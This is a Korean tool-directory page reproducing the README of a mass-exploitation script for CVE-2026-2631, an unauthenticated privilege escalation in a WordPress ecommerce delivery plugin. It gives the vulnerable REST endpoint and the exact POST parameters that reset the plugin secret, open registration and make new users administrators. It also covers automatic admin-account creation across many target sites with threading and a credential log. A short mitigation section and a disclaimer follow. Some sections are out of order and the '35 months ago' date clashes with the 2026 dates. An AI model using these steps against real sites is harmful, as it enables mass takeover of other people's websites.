Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-2631 — Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - 인증되지 않은 권한 상승 | Kitploit
도구/GitHubGitHub/nxploited/cve-2026-2631
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubnxploited/cve-2026-2631

CVE-2026-2631

Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - 인증되지 않은 권한 상승

저장소 보기
35개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-2631

Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - 인증되지 않은 권한 상승

💥 CVE-2026-2631 – Datalogics Ecommerce Delivery (WordPress) – 인증되지 않은 권한 상승

PoC / 익스플로잇 스크립트: CVE-2026-2631.py
작성자: Khaled Alenazi (Nxploited) – Nxploited ZeroDay Hub
연락처: Telegram: @Kxploit


🧬 취약점 개요

  • 플러그인: Datalogics Ecommerce Delivery – Datalogics (WordPress)
  • 영향받는 버전: < 2.6.60 (제외)
  • 취약점 유형: 인증되지 않은 권한 상승
  • CVE: CVE-2026-2631
  • CVSS v3.1: 9.8 (Critical)
    AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • 공개 게시일: 2026년 3월 12일
  • 마지막 업데이트: 2026년 3월 19일
  • 연구자: Khaled Alenazi (Nxploited)

Datalogics Ecommerce Delivery – Datalogics 플러그인은 인증되지 않은 엔드포인트를 노출합니다:

root@kitploit:~
/wp-json/gsf/v1/update-options

이 스크립트는 해당 엔드포인트를 악용하여 다음을 수행합니다:

  1. 💣 취약한 resetStoreConfigrations 액션을 사용하여 내부 shop_secret 키를 초기화합니다.
  2. 🔓 사용자 등록을 활성화합니다: users_can_register = 1.
  3. 👑 기본 신규 사용자 역할을 administrator로 설정합니다: default_role = administrator.
  4. 🧑‍💻 WordPress 등록 양식을 통해 새 사용자를 자동으로 등록합니다:
    • wp-login.php?action=register

성공하면 등록 양식을 통해 생성된 모든 새 사용자는 **관리자(administrator)**가 됩니다.


⚙️ 기능

  • ✅ 여러 WordPress 대상에 대한 대량 익스플로잇 (파일에서 불러오기)
  • ✅ 인증 불필요 (로그인/쿠키 불필요)
  • ✅ 취약한 REST 엔드포인트를 통한 자동 shop_secret 초기화
  • ✅ 자동 WordPress 옵션 업데이트:
    • users_can_register = 1
    • default_role = administrator
  • ✅ 사용자 지정 자격 증명으로 자동 계정 등록
  • ✅ rich를 사용한 풍부한 TUI 출력 (색상 및 실시간 업데이트 테이블)
  • ✅ 조정 가능한 스레드 수를 사용한 멀티스레드
  • ✅ Login_admin.txt에 결과 로깅

📦 요구 사항

🐍 런타임

  • Python 3.x (권장 3.8+)

📚 Python 패키지

필요한 패키지 설치:

root@kitploit:~
pip install -r requirements.txt

requirements.txt 예시:

root@kitploit:~
requests
rich
urllib3

또는 수동으로 설치:

root@kitploit:~
pip install requests rich urllib3

🧪 스크립트 로직 (대략적인 흐름)

각 대상에 대해:

  1. URL 정규화

    • 누락된 경우 http://가 앞에 추가되도록 합니다.
    • 끝에 있는 슬래시를 제거합니다.
  2. shop_secret 초기화

    • 엔드포인트:
      /wp-json/gsf/v1/update-options
    • POST 데이터:
      • action = resetStoreConfigrations
      • shop_secret = <new_secret>
    • 응답 텍스트에서 확인:
      • app secret key has been updated successfully
  3. WordPress 옵션 업데이트

    • 동일한 엔드포인트에 다음을 사용:
      • action = createUpdateOption
    • 두 가지 옵션 업데이트:
      1. option_key = users_can_register, option_value = 1
      2. option_key = default_role, option_value = administrator

🧵 멀티스레딩 모델

  • list.txt(또는 사용자 지정 파일)에서 모든 대상을 읽습니다.
  • chunkify를 사용하여 대상을 N개 청크로 나눕니다.
  • N개의 작업자 스레드를 실행하고 각 스레드는 자체 대상 목록을 처리합니다.
  • 프린터 스레드에 상태 메시지를 전달하기 위해 공유 Queue를 사용합니다.
  • 전용 프린터 스레드(printer_loop)가 실시간 rich 테이블을 업데이트합니다:
    • 인덱스, 사이트, 상태(SUCCESS/FAILED/ERROR) 및 세부 정보를 표시합니다.
    • 처리된 총 개수와 출력 파일 이름을 표시합니다.

🚀 사용법

1️⃣ 기본 실행

root@kitploit:~
python3 CVE-2026-2631.py

다음 항목을 대화형으로 입력하라는 메시지가 표시됩니다:

  1. 대상 파일

    • 프롬프트: Targets file (one host/URL per line) [list.txt]:
    • 기본값: list.txt
    • 각 줄: 도메인 또는 전체 URL
      • 예시:
        • victim.com
        • https://target-site.com
        • http://example.org/blog
  2. 스레드

    • 프롬프트: Threads (1-50) [10]:
    • 기본값: 10
    • 최대: 50
    • 스레드가 많을수록 빠르지만 시스템과 대상에 더 높은 부하가 발생합니다.
  3. shop_secret 값

    • 프롬프트: shop_secret [Nxploited_newSecret]:
    • 기본값: Nxploited_newSecret
    • 이것은 resetStoreConfigrations로 전송되는 새 비밀 키입니다.

이 자격 증명은 각 취약한 대상에 대한 등록 시도에 사용됩니다.


2️⃣ 대상 파일 형식

한 줄에 하나의 대상을 포함하는 list.txt(또는 원하는 파일)를 생성합니다:

root@kitploit:~
example1.com
http://example2.com
https://shop.example3.net
blog.target-site.org

스크립트는 다음을 수행합니다:

  • 누락된 경우 http://를 자동으로 추가합니다.
  • 끝의 /를 제거합니다.

3️⃣ 출력 및 결과

  • 모든 성공적인 작업(사용자 등록이 실패하더라도 옵션이 설정된 경우)은 다음 파일에 기록됩니다:

    Login_admin.txt

  • 일반적인 줄:

    root@kitploit:~
    http://example1.com | register_url: http://example1.com/wp-login.php?action=register | shop_secret: Nxploited_newSecret | reset_ok,option_ok,option_ok,register_open,registered user=Nx_test1 [email protected] pass=Nx_adminSA
    
  • 실시간 테이블의 상태 예시:

    • ✅ SUCCESS – 옵션 설정 및/또는 사용자 등록됨.
    • ❌ FAILED – 초기화/옵션 실패, 취약점 악용 불가.
    • ⚠️ ERROR – 예외, 네트워크 오류, 시간 초과 등.

🧱 HTTP 엔드포인트 및 매개변수

🔓 취약한 REST 엔드포인트

root@kitploit:~
POST /wp-json/gsf/v1/update-options

1. shop_secret 초기화

root@kitploit:~
action=resetStoreConfigrations
shop_secret=<new_secret>

2. 옵션 업데이트

root@kitploit:~
action=createUpdateOption
shop_secret=<new_secret>
option_key=users_can_register
option_value=1
root@kitploit:~
action=createUpdateOption
shop_secret=<new_secret>
option_key=default_role
option_value=administrator

🧑‍💻 등록 엔드포인트

root@kitploit:~
GET/POST /wp-login.php?action=register

스크립트:

  • 존재하는 경우 _wpnonce를 추출합니다.
  • 제공된 사용자 이름, 이메일 및 비밀번호(필드가 존재하는 경우)로 등록 데이터를 전송합니다.

🔧 스크립트 내부 (주요 함수)

  • normalize_site(raw: str) -> str
    대상 URL을 정규화합니다.

  • send_reset_secret(site: str, secret: str, timeout: int = 10) -> (bool, str)
    resetStoreConfigrations 액션을 시도합니다.

  • send_option(site: str, secret: str, key: str, value: str, timeout: int = 10) -> (bool, str)
    취약한 엔드포인트를 통해 WordPress 옵션을 설정합니다.

  • check_registration_open(site: str, timeout: int = 10) -> (bool, str)
    등록이 열려 있고 양식에 접근할 수 있는지 확인합니다.

  • try_register_user(...) -> (bool, str)
    제공된 사용자를 등록하려고 시도합니다.

  • write_success_line(site: str, secret: str, detail: str)
    성공 세부 정보를 Login_admin.txt에 기록합니다.

  • worker(...)
    스레드별 작업자:

    1. shop_secret 초기화

🧪 예제 실행 (대화형)

root@kitploit:~
$ python3 CVE-2026-2631.py

[Banner / ASCII Art]

Targets file (one host/URL per line) [list.txt]:
> list.txt

Threads (1-50) [10]:
> 20

shop_secret [Nxploited_newSecret]:
> NxSecret2026!

Registration username [Nx_test1]:
> admin_nx

Registration email [[email protected]]:
> [email protected]

Registration password [Nx_adminSA]:
> SuperStrongP@ss!

[Live table starts showing each target’s status]
Processed 5/20 targets · Output: Login_admin.txt

Done. Successful sites (if any) saved to Login_admin.txt.

🛡️ 완화 및 권장 사항

방어자 / 사이트 소유자를 위한:

  • 🔁 플러그인을 버전 2.6.60 이상으로 즉시 업데이트하세요.
  • 🧹 다음을 검토하세요:
    • 알 수 없는 관리자를 위한 WordPress 사용자 목록.
    • wp_users의 최근 등록.
  • 🔑 플러그인에서 사용하는 모든 비밀 또는 키를 재생성하세요.
  • 📜 다음에 대한 액세스 로그를 검사하세요:
    • /wp-json/gsf/v1/update-options
    • /wp-login.php?action=register
  • 🧱 민감한 REST 엔드포인트에 대한 무단 접근을 차단하는 WAF 규칙을 고려하세요.

⚠️ 법적 면책 조항

이 스크립트는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.

  • 소유자의 명시적인 서면 허가 없이 이 도구를 시스템, 애플리케이션 또는 네트워크에 사용해서는 안 됩니다.
  • 무단 접근, 악용 또는 취약점 남용은 불법이며 형사 고발로 이어질 수 있습니다.
  • 이 스크립트의 작성자(Khaled Alenazi – Nxploited), 기여자 및 배포자는:
    • ❌ 다음 사항에 대해 책임이나 의무를 지지 않습니다:
      • 이 코드의 오용
      • 직간접적으로 발생한 손해
      • 사용으로 인한 모든 법적 결과
  • 이 스크립트를 사용함으로써 귀하는 동의합니다:
    • 귀하는 자신의 행동에 전적으로 책임이 있습니다.
    • 귀하는 적용 가능한 모든 지역, 국가 및 국제 법률과 규정을 준수할 것입니다.
    • 귀하는 이 도구를 통제된 환경 및/또는 적절한 승인(PT/Red Team, 버그 바운티, 연구실 등) 하에서 만 사용할 것입니다.

이 약관에 동의하지 않는 경우 이 스크립트를 사용하지 마세요.


❤️ 크레딧

  • 연구 및 익스플로잇:
    • Khaled Alenazi (Nxploited) – Nxploited ZeroDay Hub
  • CVE: CVE-2026-2631
  • 연락처: Telegram의 @Kxploit

안전을 유지하고 책임감 있게 해킹하세요. 🕶️💻

도구 다운로드
  • 성공 패턴:
    • wordpress option has been created or updated successfully
  • 등록이 열려 있는지 확인

    • URL:
      /wp-login.php?action=register
    • HTML에서 다음을 확인:
      • Users can register, Anyone can register, user_registration, registerform
    • 또는 명시적 표현을 감지:
      • user registration is currently not allowed
  • 사용자 등록 시도

    • 동일한 등록 URL.
    • 숨겨진 입력에 존재하는 경우 _wpnonce를 추출합니다.
    • 등록 POST 전송:
      • user_login, user_email
      • 비밀번호 필드가 존재하는 경우 user_pass/user_pass2
      • _wpnonce, _wp_http_referer, redirect_to, wp-submit=Register
    • 성공은 다음으로 감지:
      • registration complete, check your email, user registered
    • 사용자 이름이 이미 존재하는 경우:
      • 성공으로 표시: user_already_exists
  • 로깅

    • 모든 성공적인 옵션 업데이트(등록 성공 여부와 무관)는 한 줄을 다음 파일에 기록합니다:
      • Login_admin.txt
    • 형식:
      root@kitploit:~
      <site> | register_url: <url> | shop_secret: <secret> | <details>
      
  • 등록 자격 증명

    • Registration username [Nx_test1]:
    • Registration email [[email protected]]:
    • Registration password [Nx_adminSA]:
  • 옵션 설정
  • 등록 확인
  • 등록 시도
  • 결과 기록 및 상태를 큐에 푸시
  • printer_loop(queue: Queue, total: int)
    큐에서 메시지를 읽고 rich 실시간 테이블 UI를 업데이트합니다.

  • main()
    다음을 조율합니다:

    • 배너
    • 사용자 프롬프트
    • 대상 로드
    • 스레드 생성
    • 조인 및 최종 메시지